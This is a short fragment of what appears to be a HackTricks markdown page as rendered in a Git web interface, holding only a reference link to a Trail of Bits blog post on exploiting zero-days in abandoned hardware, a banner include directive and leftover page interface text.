- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user